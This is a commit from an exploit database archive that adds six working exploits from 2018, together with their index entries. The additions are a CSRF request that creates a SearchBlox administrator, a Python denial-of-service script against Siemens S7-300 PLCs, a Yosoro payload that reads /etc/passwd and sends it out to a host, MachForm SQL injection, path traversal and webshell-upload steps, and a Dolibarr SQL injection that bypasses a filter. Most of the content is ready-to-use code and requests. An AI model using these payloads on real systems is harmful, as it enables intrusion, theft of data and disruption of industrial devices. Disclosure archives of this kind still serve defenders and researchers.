DB: 2018-05-31
6 changes to exploits/shellcodes Siemens SIMATIC S7-300 CPU - Remote Denial of Service Procps-ng - Multiple Vulnerabilities SearchBlox 8.6.6 - Cross-Site Request Forgery Yosoro 1.0.4 - Remote Code Execution MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass Dolibarr 7.0.0 - SQL Injection
This commit is contained in:
Offensive Security
parent
96e4f1686b
commit
89ee92def8
7 changed files with 2579 additions and 0 deletions
48
exploits/java/webapps/44801.txt
Normal file
48
exploits/java/webapps/44801.txt
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
# Exploit Title: CSRF Privilege Escalation (Creation of an administrator
|
||||
account) on SearchBlox 8.6.6
|
||||
# Exploit Author: Canberk BOLAT, Ahmet GÜREL
|
||||
# Software Link: https://www.searchblox.com/
|
||||
# Version: < = SearchBlox Version 8.6.6
|
||||
# Platform: Java
|
||||
# Tested on: Windows
|
||||
# CVE: CVE-2018-11538
|
||||
|
||||
# 1. DETAILS
|
||||
|
||||
Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
|
||||
is currently authenticated with a web application to execute an unwanted
|
||||
action. The attacker can trick the user into loading a page which may send
|
||||
a request to perform the unwanted action in the background. In the case of
|
||||
Searchblox, we can use CSRF to perform actions on the admin dashboard by
|
||||
targeting an administrator.
|
||||
|
||||
# 2. PoC:
|
||||
|
||||
We assume that Searchblox is installed at http://localhost:8080/. Our
|
||||
target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
|
||||
role parameter which is the page used to create a new user. The given POC
|
||||
will create a user on the website which has full administrator privileges.
|
||||
|
||||
HTTP Request:
|
||||
|
||||
GET
|
||||
/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser
|
||||
HTTP/1.1
|
||||
Host: localhost:8080
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)
|
||||
Gecko/20100101 Firefox/59.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
Attack Vector:
|
||||
|
||||
<img src="
|
||||
http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser"
|
||||
width="0" height="0">
|
||||
21
exploits/linux/dos/44802.py
Executable file
21
exploits/linux/dos/44802.py
Executable file
|
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
|
||||
# Google Dork: inurl:/Portal/Portal.mwsl
|
||||
# Date: 2018-05-30
|
||||
# Exploit Author: t4rkd3vilz
|
||||
# Vendor Homepage: https://www.siemens.com/
|
||||
# Version: SIMATIC S7-300 CPU family: all versions.
|
||||
# Tested on: Kali Linux
|
||||
# CVE: CVE-2015-2177
|
||||
|
||||
#!/usr/bin/python
|
||||
import socket
|
||||
|
||||
target_address="TargetIP"
|
||||
target_port=80
|
||||
|
||||
buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect=sock.connect((target_address,target_port))
|
||||
sock.send(buffer)
|
||||
sock.close()
|
||||
2178
exploits/linux/local/44806.txt
Normal file
2178
exploits/linux/local/44806.txt
Normal file
File diff suppressed because it is too large
Load diff
17
exploits/macos/webapps/44803.txt
Normal file
17
exploits/macos/webapps/44803.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
# Exploit title: Yosoro 1.0.4 - Remote Code Execution
|
||||
# Date: 2018-05-29
|
||||
# Exploit Author: Carlo Pelliccioni
|
||||
# Vendor homepage: https://yosoro.coolecho.net/
|
||||
# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
|
||||
# Version: 1.0.4
|
||||
# Tested on: MacOS 10.13.4
|
||||
# CVE: CVE-2018-11522
|
||||
# _ _ _ _ _ ___ _ _
|
||||
# | || | __ _ __ | |__| |_ (_)__ __ ___ / __| ___ __ _ _ _ _ (_)| |_ _ _
|
||||
# | __ |/ _` |/ _|| / /| _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| || _|| || |
|
||||
# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_| |_| \__| \_, |
|
||||
|
||||
# Remote Code Execution (CVE-2018-11522)
|
||||
# Payload:
|
||||
|
||||
<webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview>
|
||||
105
exploits/php/webapps/44804.txt
Normal file
105
exploits/php/webapps/44804.txt
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
Vendor: Appnitro
|
||||
Product webpage: https://www.machform.com/
|
||||
Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/
|
||||
Fix: https://www.machform.com/blog-machform-423-security-release/
|
||||
|
||||
Author: Amine Taouirsa
|
||||
Twitter: @metalamin
|
||||
|
||||
Google dork examples:
|
||||
----------------------
|
||||
"machform" inurl:"view.php"
|
||||
"machform" inurl:"embed.php"
|
||||
|
||||
Summary:
|
||||
---------
|
||||
The form creation platform MachForm from Appnitro is subject to SQL
|
||||
injections that lead to path traversal and arbitrary file upload.
|
||||
|
||||
The application is widely deployed and with some google dorks it’s possible
|
||||
to find various webpages storing sensitive data as credit card numbers with
|
||||
corresponding security codes. Also, the arbitrary file upload can let an
|
||||
attacker get control of the server by uploading a WebShell.
|
||||
|
||||
[1] SQL injection (CVE-2018-6410):
|
||||
-------------------------
|
||||
|
||||
[1.1] Description:
|
||||
The software is subject to SQL injections in the ‘download.php’ file.
|
||||
|
||||
[1.2] Parameters and statement:
|
||||
This SQLi can be found on the parameter ‘q’ which a base64 encoded value
|
||||
for the following parameters:
|
||||
|
||||
$form_id = $params['form_id'];
|
||||
$id = $params['id'];
|
||||
$field_name = $params['el'];
|
||||
$file_hash = $params['hash'];
|
||||
|
||||
|
||||
So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based,
|
||||
stacked queries and time-based blind SQL injections. This is due to the
|
||||
following vulnerable statement:
|
||||
|
||||
$query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`
|
||||
where id=?";
|
||||
|
||||
|
||||
[1.3] POC
|
||||
Proof of concept to get the first user mail:
|
||||
http:// [URL] / [Machform_folder] /download.php?q=
|
||||
ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy
|
||||
MDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz
|
||||
ZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io
|
||||
UkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RF
|
||||
Ul9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=
|
||||
|
||||
Which is the base64 encoding for:
|
||||
el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT
|
||||
MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
|
||||
0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
|
||||
BY x)a) ;&id=1&hash=1&form_id=1
|
||||
|
||||
|
||||
[2] Path traversal (CVE-2018-6409):
|
||||
-----------------------------------
|
||||
|
||||
[2.1] Descrition
|
||||
download.php’ is used to serve stored files from the forms answers.
|
||||
Modifying the name of the file to serve on the corresponding ap_form table
|
||||
leads to a path traversal vulnerability.
|
||||
|
||||
[2.2] POC
|
||||
First we need to change the name for the element on the form:
|
||||
update ap_form_58009 set element_4="../../../../../../.
|
||||
./../../../../../../../../../etc/passwd" where id=1;
|
||||
|
||||
Now in order to be able to download it, we need to access:
|
||||
http:// [URL] / [Machform_folder] /download.php?q=
|
||||
ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0
|
||||
NTgmZm9ybV9pZD01ODAwOQo=
|
||||
|
||||
Which is the base64 encoding for;
|
||||
el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009
|
||||
|
||||
Note that hash is the MD5 of the corresponding filename:
|
||||
md5("../../../../../../../../../../../../../../../../etc/passwd") =
|
||||
402ba0230d6f44a2de590ac11107a458
|
||||
|
||||
[3] Bypass file upload filter (CVE-2018-6411):
|
||||
----------------------------------------------
|
||||
|
||||
When the form is set to filter a blacklist, it automatically add dangerous
|
||||
extensions to the filters.
|
||||
If the filter is set to a whitelist, the dangerous extensions can be
|
||||
bypassed.
|
||||
|
||||
This can be done directly on the database via SQLi
|
||||
update ap_form_elements set element_file_type_list="php",
|
||||
element_file_block_or_allow="a" where form_id=58009 and element_id=4;
|
||||
|
||||
Once uploaded the file can be found and executed in the following URL:
|
||||
http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]
|
||||
|
||||
The filename can be found in the database
|
||||
SELECT element_4 FROM ap_form_58009 WHERE id=1;
|
||||
204
exploits/php/webapps/44805.txt
Normal file
204
exploits/php/webapps/44805.txt
Normal file
|
|
@ -0,0 +1,204 @@
|
|||
# [CVE-2018-10094] Dolibarr SQL Injection vulnerability
|
||||
|
||||
|
||||
## Description
|
||||
|
||||
Dolibarr is an "Open Source ERP & CRM for Business" used by many
|
||||
companies worldwide.
|
||||
|
||||
It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
|
||||
or as distribution packages (e.g .deb package).
|
||||
|
||||
**Threat**
|
||||
|
||||
The application does not handle user input properly and allows execution
|
||||
of arbitrary SQL commands on the database.
|
||||
|
||||
**Expectation**
|
||||
|
||||
Prepared queries should be used in order to avoid SQL injection in user
|
||||
input.
|
||||
|
||||
|
||||
## Vulnerability type
|
||||
|
||||
**CVE ID**: CVE-2018-10094
|
||||
|
||||
**Access Vector**: remote
|
||||
|
||||
**Security Risk**: high
|
||||
|
||||
**Vulnerability**: CWE-89
|
||||
|
||||
**CVSS Base Score**: 7.5
|
||||
|
||||
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
|
||||
|
||||
## Details
|
||||
|
||||
The database connector escapes quotes with the `real_escape_string()`
|
||||
wrapper. However it is still possible to perform injection on integer
|
||||
parameters without quotes.
|
||||
|
||||
```php
|
||||
mysqli.class.php
|
||||
|
||||
/**
|
||||
* Escape a string to insert data
|
||||
*
|
||||
* @param string $stringtoencode String to escape
|
||||
* @return string String escaped
|
||||
*/
|
||||
function escape($stringtoencode)
|
||||
{
|
||||
return $this->db->real_escape_string($stringtoencode);
|
||||
}
|
||||
```
|
||||
|
||||
Additional checks are defined later, which forbit some SQL keywords (e.g
|
||||
`union`, `create`, `insert`). However, by url encoding the payload,
|
||||
these checks are bypassed.
|
||||
|
||||
```php
|
||||
main.inc.php
|
||||
|
||||
/**
|
||||
* Security: SQL Injection and XSS Injection (scripts) protection
|
||||
(Filters on GET, POST, PHP_SELF).
|
||||
*
|
||||
* @param string $val Value
|
||||
* @param string $type 1=GET, 0=POST, 2=PHP_SELF
|
||||
* @return int >0 if there is an injection
|
||||
*/
|
||||
function test_sql_and_script_inject($val, $type)
|
||||
{
|
||||
$inj = 0;
|
||||
// For SQL Injection (only GET are used to be included into bad
|
||||
escaped SQL requests)
|
||||
if ($type == 1)
|
||||
{
|
||||
$inj += preg_match('/updatexml\(/i', $val);
|
||||
$inj += preg_match('/delete\s+from/i', $val);
|
||||
$inj += preg_match('/create\s+table/i', $val);
|
||||
$inj += preg_match('/insert\s+into/i', $val);
|
||||
$inj += preg_match('/select\s+from/i', $val);
|
||||
$inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);
|
||||
}
|
||||
if ($type != 2) // Not common, we can check on POST
|
||||
{
|
||||
$inj += preg_match('/update.+set.+=/i', $val);
|
||||
$inj += preg_match('/union.+select/i', $val);
|
||||
$inj += preg_match('/(\.\.%2f)+/i', $val);
|
||||
}
|
||||
// For XSS Injection done by adding javascript with script
|
||||
// This is all cases a browser consider text is javascript:
|
||||
// When it found '<script', 'javascript:', '<style', 'onload\s=' on
|
||||
body tag, '="&' on a tag size with old browsers
|
||||
// All examples on page: http://ha.ckers.org/xss.html#XSScalc
|
||||
// More on
|
||||
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
|
||||
$inj += preg_match('/<script/i', $val);
|
||||
$inj += preg_match('/<iframe/i', $val);
|
||||
$inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6
|
||||
if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
|
||||
$inj += preg_match('/base[\s]+href/si', $val);
|
||||
$inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can
|
||||
be set on img or any html tag like <img title='...' onmouseover=alert(1)>
|
||||
$inj += preg_match('/onerror\s*=/i', $val); // onerror can be
|
||||
set on img or any html tag like <img title='...' onerror = alert(1)>
|
||||
$inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be
|
||||
set on input text html tag like <input type='text' value='...' onfocus =
|
||||
alert(1)>
|
||||
$inj += preg_match('/onload\s*=/i', $val); // onload can be
|
||||
set on svg tag <svg/onload=alert(1)> or other tag like body <body
|
||||
onload=alert(1)>
|
||||
$inj += preg_match('/onclick\s*=/i', $val); // onclick can be
|
||||
set on img text html tag like <img onclick = alert(1)>
|
||||
$inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be
|
||||
on textarea
|
||||
//$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event
|
||||
handlers onAbort(), ...
|
||||
$inj += preg_match('/:|:|:/i', $val); //
|
||||
refused string ':' encoded (no reason to have it encoded) to lock
|
||||
'javascript:...'
|
||||
//if ($type == 1)
|
||||
//{
|
||||
$inj += preg_match('/javascript:/i', $val);
|
||||
$inj += preg_match('/vbscript:/i', $val);
|
||||
//}
|
||||
// For XSS Injection done by adding javascript closing html tags
|
||||
like with onmousemove, etc... (closing a src or href tag with not
|
||||
cleaned param)
|
||||
if ($type == 1) $inj += preg_match('/"/i', $val); // We
|
||||
refused " in GET parameters value
|
||||
if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF
|
||||
is a file system path. It can contains spaces.
|
||||
return $inj;
|
||||
}
|
||||
```
|
||||
|
||||
## Proof of Concept : retrieving the database name.
|
||||
|
||||
Payload:
|
||||
|
||||
```
|
||||
1) union select
|
||||
0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
|
||||
|
||||
Url-encoded payload:
|
||||
%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
|
||||
```
|
||||
|
||||
```http
|
||||
GET
|
||||
/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
|
||||
HTTP/1.1
|
||||
Host: dolibarr.lab:2080
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
|
||||
Firefox/52.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie:
|
||||
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
...
|
||||
|
||||
</a>
|
||||
</td>
|
||||
<td>10.1.26-MariaDB-0+deb9u1</td>
|
||||
<td>2</td>
|
||||
<td></td>
|
||||
<td>1</td>
|
||||
<td>21</td>
|
||||
<td class="nowrap">
|
||||
```
|
||||
|
||||
|
||||
## Affected versions
|
||||
|
||||
* Version 7.0.0 (last stable version as of March 2018) - previous
|
||||
versions are probably also vulnerable but not tested
|
||||
|
||||
## Solution
|
||||
|
||||
Update to 7.0.2
|
||||
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))
|
||||
|
||||
## Timeline (dd/mm/yyyy)
|
||||
|
||||
* 18/03/2018 : Initial discovery
|
||||
* 17/04/2018 : Contact with the editor
|
||||
* 17/04/2018 : Editor acknowledges the vulnerability
|
||||
* 18/04/2018 : Editor announces fixes in version 7.0.2
|
||||
* 21/05/2018 : Vulnerability disclosure
|
||||
|
||||
## Credits
|
||||
|
||||
* Issam RABHI (i dot rabhi at sysdream dot com)
|
||||
* Kevin LOCATI (k dot locati at sysdream dot com)
|
||||
|
||||
-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream
|
||||
|
|
@ -5983,6 +5983,7 @@ id,file,description,date,author,type,platform,port
|
|||
44758,exploits/windows/dos/44758.html,"Microsoft Edge Chakra - Cross Context Use-After-Free",2018-05-25,"Google Security Research",dos,windows,
|
||||
44759,exploits/multiple/dos/44759.html,"Skia and Firefox - Integer Overflow in SkTDArray Leading to Out-of-Bounds Write",2018-05-25,"Google Security Research",dos,multiple,
|
||||
44768,exploits/php/dos/44768.txt,"Symfony 2.7.0 < 4.0.10 - Denial of Service",2018-05-26,"Federico Stange",dos,php,
|
||||
44802,exploits/linux/dos/44802.py,"Siemens SIMATIC S7-300 CPU - Remote Denial of Service",2018-05-30,t4rkd3vilz,dos,linux,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -9748,6 +9749,7 @@ id,file,description,date,author,type,platform,port
|
|||
44787,exploits/windows_x86/local/44787.py,"ALFTP 5.31 - Local Buffer Overflow (SEH Bypass)",2018-05-28,"Gokul Babu",local,windows_x86,
|
||||
44797,exploits/linux/local/44797.txt,"GNU Barcode 0.99 - Buffer Overflow",2018-05-29,LiquidWorm,local,linux,
|
||||
44798,exploits/linux/local/44798.txt,"GNU Barcode 0.99 - Memory Leak",2018-05-29,LiquidWorm,local,linux,
|
||||
44806,exploits/linux/local/44806.txt,"Procps-ng - Multiple Vulnerabilities",2018-05-30,"Qualys Corporation",local,linux,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -39470,3 +39472,7 @@ id,file,description,date,author,type,platform,port
|
|||
44796,exploits/java/webapps/44796.txt,"Pivotal Spring Java Framework < 5.0 - Remote Code Execution",2018-05-29,JameelNabbo,webapps,java,
|
||||
44799,exploits/php/webapps/44799.txt,"Facebook Clone Script 1.0.5 - 'search' SQL Injection",2018-05-29,L0RD,webapps,php,
|
||||
44800,exploits/php/webapps/44800.txt,"Facebook Clone Script 1.0.5 - Cross-Site Request Forgery",2018-05-29,L0RD,webapps,php,
|
||||
44801,exploits/java/webapps/44801.txt,"SearchBlox 8.6.6 - Cross-Site Request Forgery",2018-05-30,"Ahmet Gurel",webapps,java,
|
||||
44803,exploits/macos/webapps/44803.txt,"Yosoro 1.0.4 - Remote Code Execution",2018-05-30,"Carlo Pelliccioni",webapps,macos,
|
||||
44804,exploits/php/webapps/44804.txt,"MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass",2018-05-30,"Amine Taouirsa",webapps,php,80
|
||||
44805,exploits/php/webapps/44805.txt,"Dolibarr 7.0.0 - SQL Injection",2018-05-30,Sysdream,webapps,php,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue